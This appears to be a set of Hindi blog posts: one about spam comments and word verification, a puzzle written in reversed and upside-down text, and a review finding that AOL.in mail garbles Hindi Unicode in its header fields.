ब्लॉग पोस्टें ऐसे स्पैम कमेंट से पहले भी समस्याग्रस्त रहती थीं और घोर समस्याग्रस्त रहती थीं. और इसी वजह से ज्ञानदत्त जैसे पाठकों को हो रही विशेष कठिनाइयों के बावजूद मेरे चिट्ठे की टिप्पणियों पर वर्ड-वेरिफ़िकेशन चलता रहा था. बीते कुछ दिनों से ऐसी समस्याओं में अच्छी खासी कमी आई थी – ब्लॉगर भी कुछ स्वचालित तंत्रों से स्पैम टिप्पणीकर्ताओं पर नजर रखता रहा था और मैंने वर्ड-वेरिफ़िकेशन को हटा दिया था.

मगर इस एक मात्र अपवाद स्वरूप प्राप्त प्रविष्टि ने मुझे फिर से चौंका दिया है. अगर ऐसे हमले जारी रहें तो फिर से वर्ड-वेरिफ़िकेशन प्रारंभ करना पड़ सकता है, और टिप्पणियों की कमी से भी जूझना पड़ सकता है – क्योंकि, जहाँ वर्ड वेरिफ़िकेशन के आड़े-टेढ़े अक्षर दिखने लगते हैं तो वहां से तो मैं भी कट लेता हूँ :)



यह क्या लिखा है?

क्या आप बता सकते हैं कि नीचे की पंक्तियों में क्या लिखा है और कैसा लिखा है?


¡ंेद ाकंौच ेसउ रऔ ंेजेभ खिल टलप-टलउ छुक ीह ासऐ ोक र्तिम ेनपअ ा़फद ीलगअ 'ोत

ातआ ाजम ादाय्ज बत ातटलप


हरत सइ छुक रिफ ाय


हरत सइ छुक ोक ठाप ीद्निह हय िदय रगम

¿राजऔ त्सम न ैह

.ैह ातटलप ेस ँएाद हरत ीक ूद्रउ हय ोक ठाप ीद्निह ुतंरप 'ंैह ेहर ाप खेद

¿ǝɹǝɥ uǝʇʇıɹʍ sı ʇɐɥʍ

हरत सइ छुक ंेम कष्रीश ेक ेठ्टिच सइ पआ िक ासैज ैह ातटलप ंेम पूर ेरसूद छुक हय ंेम ी़जेर्गंअ

.ैह ायग ापाछ ँाहय रक टलउ ोक ठाप ेरूप सइ ाराव्द राजऔ टलप रष्कअ नइालनऑ कए 'लसअरद


उत्तर प्राप्त करने के लिये यहाँ जाएँ. :)




एओएल.इन भारतीय इंटरनेट परिदृश्य में धूमधड़ाके से प्रविष्ट हुआ है और अपनी पैठ बनाने के लिए हर संभव प्रयास कर रहा है.

प्रिंट मीडिया से लेकर अन्य दृश्य-श्रव्य मीडिया में भी एओएल.इन के विज्ञापन धुआंधार चले आ रहे हैं. भारतीय ब्लॉगों – खासकर हिन्दी चिट्ठों में जहाँ जहाँ एडसेंस हैं, एओएल का जमूरा जब तब मुँह से आग उड़ाता दिख जाता है.

इसी आग से प्रभावित होकर मैंने भी सोचा कि चलो, एक ई-मेल खाता एओएल पर खोल ही लिया जाए.

एओएल मेल दिखने में पूरा का पूरा याहू! मेल का जुड़वां भाई दिखता है. इंटरफ़ेस वही घिसा-पिटा सा है और धीमा भी. मगर मुझे तो इसकी हिन्दी की परीक्षा लेनी थी. फटाफट इस नए खाते पर एक हिन्दी में ई-मेल भेजा और इसके जरिए एक हिन्दी में ई-मेल किया.

नतीजा – वही ढाक के तीन प्रश्न – यानी ??????

ईमेल की मुख्य सामग्री की यूनिकोड तो खंडित नहीं हुई, मगर प्रेषक / प्राप्तकर्ता और विषय के यूनिकोड खंडित हो गए.

एओएल – भारत में नए सिरे से, नए ब्रॉड नाम से पैठ बनाने की कोशिश कर रही है तो कम से कम इधर तो उसे ध्यान देना ही था – या उसकी नजर सिर्फ अंग्रेज़ी इस्तेमाल करने वाले भारतीयों पर है?

क्या एओएल भारत में कुछ कर दिखाएगा? संभवतः नहीं. वैसे, यह तो समय ही बताएगा, चूंकि इसमें नया-सा कुछ भी नहीं है जिसके कारण उपयोक्ता इसके प्रति आकर्षित हों.

हाँ, एओएल की एक बात पसंद आई. इसका स्पैम हैंडलिंग दमदार प्रतीत होता है. जिस वैकल्पिक ईमेल खाते से मैंने इस पर पंजीकृत किया था, उसी खाते से ईमेल भेजने पर इसने उसे स्पैम में डाल दिया :)

फ़ैसला - हिन्दी के लिए सर्वोत्तम - जीमेल, आईगूगल.

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